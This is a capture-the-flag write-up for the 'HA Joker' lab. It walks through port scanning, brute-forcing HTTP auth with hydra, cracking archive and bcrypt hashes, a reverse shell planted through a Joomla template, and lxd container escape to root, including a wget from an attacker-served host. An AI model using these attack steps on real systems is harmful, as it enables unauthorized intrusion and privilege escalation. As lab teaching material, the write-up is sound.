HA Joker CTF, Write Up, kali

enumeration with nmap

initial reconnaissance, checking service versions on open ports:

nmap -v -sC -sV -oA nmap 10.10.173.35

apache 2.4.29 is identified, with port 80 serving http content.

searching directories

directory enumeration reveals a hidden file, /secret.txt, and gobuster surfaces /phpinfo.php:

gobuster dir -u http://10.10.173.35/ -w /usr/share/wordlists/dirb/common.txt

the /secret.txt file contains a conversation between joker and batman, suggesting the username joker.

unauthorized http port

an additional port requiring authentication is identified from the nmap scan: port 8080.

brute force authentication

hydra -l joker -P /usr/share/wordlists/rockyou.txt -s 8080 10.10.173.35 http-get/

the password recovered is hannah.

directory enumeration on port 8080

gobuster dir -U joker -P hannah -u http://10.10.173.35:8080/ -w /usr/share/wordlists/dirb/common.txt -t 20

this reveals /administrator/. deeper enumeration with nikto surfaces /backup.zip:

nikto -h http://10.10.173.35:8080/ -id joker:hannah

cracking the password-protected archive

zip2john backup.zip > joker.hash
sudo john joker.hash

the archive password is hannah. the extracted joombadb.sql reveals a "super duper user" entry: admin.

cracking the password hash

echo '$2y$10$b43UqoH5UpXokj2y9e/8U.LD8T3jEQCuxG2oHzALoJaj9M5unOcbG' > pass.txt
sudo john pass.txt --show

the password is abcd1234.

obtaining a shell

logging into the administrator panel and exploiting template functionality to inject a reverse shell. the beez3 template is editable and can execute php code when previewed. after setting up the payload and listener:

nc -lvnp [PORT]

a connection is established as www-data.

privilege escalation via lxd

checking groups shows the user belongs to the lxd group:

id

upgrade to an interactive shell:

python3 -c 'import pty; pty.spawn("/bin/bash");'

initialize lxd with a directory storage backend, then build an alpine container:

lxd init

git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine

serve the built image and download it to the target:

sudo python3 -m http.server 80

cd /tmp
wget http://[YOUR_IP]:80/alpine-v3.12-x86_64-20200923_0009.tar.gz

import and configure a privileged container mounting the host filesystem:

lxc image import ./alpine-v3.12-x86_64-20200923_0009.tar.gz --alias myimage
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

root access achieved, the final flag lives at final.txt.

ha joker ctf